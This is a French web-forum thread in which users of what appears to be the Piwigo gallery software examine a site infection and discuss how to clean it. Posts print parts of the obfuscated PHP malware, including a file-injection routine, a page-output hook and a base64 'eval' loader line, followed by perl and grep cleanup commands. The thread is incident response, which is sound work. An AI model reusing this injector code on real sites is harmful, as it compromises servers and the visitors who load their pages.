MP... STP.
Hors ligne
En fait, j'ai réussi à récupérer tout le dossier 32, qui m'a l'air plein de code !
j'ai créé une archive que j'ai mis là : je n'avais pas rafraichis, je viens de supprimer le lien
Dernière modification par mtgt (2010-01-09 09:00:39)
Hors ligne
je viens d'envoyer un e-mail avec le lien
Hors ligne
J'ai fait le décodage du premier niveau...
Pour tomber sur un second niveau codé...
J'ai commencé à décoder ce second niveau pour aller me planter
Bref ça commence par:
function FF97A1D7A5B771B21D423C3A9D78408C1($RC4A5B5E310ED4C323E04D72AFAE39F53){ global $_GET, $_POST; $GLOBALS['dg_echo'] = 1; set_time_limit(600); if(!FB078122F16A8F8B2978109BD72E1AC30($GLOBALS['dgcp'].$GLOBALS['dgin'])){return;} $RDAD8D40EB9906CAB35CCB38DE41CB7EF = FFD456406745D816A45CAE554C788E754($RC4A5B5E310ED4C323E04D72AFAE39F53, 180, $RF89F518E40FF53B4FD2A7D2440090D63); F0B4D6FFC759ED013DCD398174DE471F8(); FE19A7FAB0F9597E68E23311BB5FB460F($RDAD8D40EB9906CAB35CCB38DE41CB7EF); F3B82ABE1785C7013E7CC0CA01EF61AA8("{$RC4A5B5E310ED4C323E04D72AFAE39F53}: ".strlen($RDAD8D40EB9906CAB35CCB38DE41CB7EF)); if(!F7C23AA131822F77A31BC8492D9A7CE00($RDAD8D40EB9906CAB35CCB38DE41CB7EF, '$GLOBALS[\'dgcp\'] = "', '";', $GLOBALS['dgcp'])){ F3B82ABE1785C7013E7CC0CA01EF61AA8("failed to set path [44883279]"); die; } F3B82ABE1785C7013E7CC0CA01EF61AA8("path set to {$GLOBALS['dgcp']} [5482745]"); if(!F7C23AA131822F77A31BC8492D9A7CE00($RDAD8D40EB9906CAB35CCB38DE41CB7EF, '$GLOBALS[\'dgin\'] = "', '";', $GLOBALS['dgin'])){ F3B82ABE1785C7013E7CC0CA01EF61AA8("failed to set name [58819152]"); die; } F3B82ABE1785C7013E7CC0CA01EF61AA8("name set to {$GLOBALS['dgin']} [2246876]"); if(!F7C23AA131822F77A31BC8492D9A7CE00($RDAD8D40EB9906CAB35CCB38DE41CB7EF, '$GLOBALS[\'dgsp\'] = "', '";', $GLOBALS['dgsp'])){ F3B82ABE1785C7013E7CC0CA01EF61AA8("failed to set relative root dir [58819152]"); die; } F3B82ABE1785C7013E7CC0CA01EF61AA8("relative root dir successfully set {$GLOBALS['dgsp']} [5893301]"); $RCFFAE742FB4E724571041779A10EFDA9 = FCE5FE761FE36220458FAE651AEABF6D9($RDAD8D40EB9906CAB35CCB38DE41CB7EF); $RE477255A8507A54E5CA56CA24210B7DB = strval(strlen($RCFFAE742FB4E724571041779A10EFDA9)); while(strlen($RE477255A8507A54E5CA56CA24210B7DB) < 7){$RE477255A8507A54E5CA56CA24210B7DB = '0' . $RE477255A8507A54E5CA56CA24210B7DB;} if(!F7C23AA131822F77A31BC8492D9A7CE00($RDAD8D40EB9906CAB35CCB38DE41CB7EF, '"00'.'0', '";', $RE477255A8507A54E5CA56CA24210B7DB)){ F3B82ABE1785C7013E7CC0CA01EF61AA8("failed to set size [86612935]"); die; } $RCFFAE742FB4E724571041779A10EFDA9 = FCE5FE761FE36220458FAE651AEABF6D9($RDAD8D40EB9906CAB35CCB38DE41CB7EF); F3B82ABE1785C7013E7CC0CA01EF61AA8("my packed size: $RE477255A8507A54E5CA56CA24210B7DB"); F17B8C65064AE90679E4CE6254EF6C510($GLOBALS['dgcp'].$GLOBALS['dgin'], $RCFFAE742FB4E724571041779A10EFDA9, 1) ? F3B82ABE1785C7013E7CC0CA01EF61AA8("{$GLOBALS['dgcp']}{$GLOBALS['dgin']}") : F3B82ABE1785C7013E7CC0CA01EF61AA8("{$GLOBALS['dgcp']}{$GLOBALS['dgin']}"); if(!isset($_GET['noinj']) && !isset($_POST['noinj'])){ F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgdr'], $GLOBALS['dgij'], 1); if($GLOBALS['dgsp']){ F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgsp'], $GLOBALS['dgij'], 1); } } F18C82E54B87D91FDCDBDBEF3DF051362(); } if(!function_exists('gzdecode')){ function gzdecode($R20FD65E9C7406034FADC682F06732868){ $R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1)); $R60169CD1C47B7A7A85AB44F884635E41=10; $R0D54236DA20594EC13FC81B209733931=0; if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){ $R0D54236DA20594EC13FC81B209733931=unpack('v',substr($R20FD65E9C7406034FADC682F06732868,10,2)); $R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1]; $R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931; } if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){ $R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1; } if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){ $R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1; } if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){ $R60169CD1C47B7A7A85AB44F884635E41+=2; } $RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41)); if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){ $RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868; } return $RC4A5B5E310ED4C323E04D72AFAE39F53; } } if(!function_exists('dgobh')){ function dgobh($RDA3E61414E50AEE968132F03D265E0CF){ Header('Content-Encoding: none'); $RDA3E61414E50AEE968132F03D265E0CF=gzdecode($RDA3E61414E50AEE968132F03D265E0CF); if($GLOBALS['dgopt']['lbp'] == 0 && preg_match('/\]*\>)/si',"$1".gml(),$RDA3E61414E50AEE968132F03D265E0CF); }elseif($GLOBALS['dgopt']['lbp'] == 2 && preg_match('/\<\/body/si',$RDA3E61414E50AEE968132F03D265E0CF)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n$1",$RDA3E61414E50AEE968132F03D265E0CF); }else{ return gml().$RDA3E61414E50AEE968132F03D265E0CF; } }}
Bref un charabia de premier ordre....
Dire que certains trouvent que je ne suis pas assez vendeur...
Conclusion: J'attendrai sagement l'avis de P@t, de plg, et quelques autres très spécialistes très expérimentés.
A l'issue de la collecte de leur avis, je virai purement le logiciel "annuaire" (Propulsé par : Freeglobes).
Pour illisibilité, je considère que la licence utilisée est abusive:
Vous êtes libres :
* de reproduire, distribuer et communiquer cette création au public
* de modifier cette création
Tu parles qu'on va modifier...
=> Personnellement, je jette vite fait.
PS: Ce n'est pas fckeditor qui est en cause.
Hors ligne
A moins que cela ne vienne de
AllowArt - Agence de création en communication visuelle
http://www.allowart.com/
On ne nous dit pas tout... Au café si besoin.
Hors ligne
C'est tout de même marrant que les fichiers du dossier 32 se soit effacé tout seul lorsque que j'ai supprimé s.php et style.css.php
En tout cas merci du coup de main!
Hors ligne
Non AllowArt, c'est l'agence d'un ami, qui me prète un espace sur son serveur pour mon site et qui me donne un coup de main pour leur mise en place et design.
Pour mon souci, je me demande encore, comment je vais faire pour enlever ce bout de code de tous mes fichiers PHP! Est ce que c'est possible de façon automatique? Un peu comme eux ils ont fait pour l'installer?
Hors ligne
L'installer n'est pas très compliqué.
L'enlever est une autre affaire.
1 - Je retransfèrerais les modules standards de Piwigo (sauf mysql.incl.php que je ferai à la mano).
2 - Idem téléchargement / Unzip / Transfert des plugins et templates.
3 - Le themeconf.inc.php de mon theme personnel.
4 - Le config_local.inc.php
5 - Maintenance: suppression des templates générés.
Voila qui devrait remettre d'aplomb Piwigo.
Je transfèrerai tout les *.php en local.
Pour vérifier que je n'ai plus de "<?php eval(" via un éditeur comme Notepad++
Pour les autres composants de ton site... je ne sais pas, je te laisse gérer avec d'autres forums.
;-)
Envoi un MP à plg ou d'autres de l'équipe pour qu'ils te donnent leur avis dans ce topic => donne leur le lien (mon avis ne doit pas te suffire vu le niveau du problème).
Hors ligne
Pour virer ce truc là :
<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL210Z3Q2OS9wdWJsaWNfaHRtbC92b3lhZ2UtYXVzdHJhbGllLW56L2FubnVhaXJlL2NsYXNzL2Zja2VkaXRvci9lZGl0b3IvZmlsZW1hbmFnZXIvYnJvd3Nlci9kZWZhdWx0L2ltYWdlcy9pY29ucy8zMi9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
Si vous avez un accès SSH, vous pouvez exécuter ça:
perl -p -i -e "s/<\?php \/\*\*\/eval\(base64_decode\(\'ColerIciLeBoutDeCodeQuiContientLesCaracteresAlphaNumeriques\'\)\); \?>\n//g" `find -name '*.php'`
ça dégagera le bout de code php dans tous les fichiers php du serveur !
Sympa l'astuce !
Merci pour eux.
Hors ligne
Merci Scratx pour l'astuce.
Je viens d'essayer mais apparemment ça ne fonctionne pas :(
J'ai comme réponse:
-jailshell: /usr/local/bin/perl: Argument list too long
Est ce que quelqu'un aurait une idée?
Hors ligne
Merci mathiasm,
j'ai essayé avec
perl -p -i -e "s/<\?php \/\*\*\/eval\(base64_decode\(\'[a-zA-z0-9]+\'\)\); \?>\n//g" `find -name '*.php'`
mais j'ai la même réponse
-jailshell: /usr/local/bin/perl: Argument list too long
Je pense que ça doit être le fait qu'il doit scanner trop de fichier php!
Merci quand même. Si je trouve une solution, je vous tiens au courant :(
Hors ligne
mathiasm a écrit:
On n'utilise pas le base64_decode dans Piwigo [...]
[pierrick@vienna] ~/public_html/piwigo/dev/branches/2.0 $ find . -name "*.php" | xargs grep base64_decode 2>/dev/null ./include/ws_functions.inc.php: base64_decode($params['data'])
pLoader envoit les "chunks" en base64.
Hors ligne
? est ce une solution ou uniquement une constatation?
Hors ligne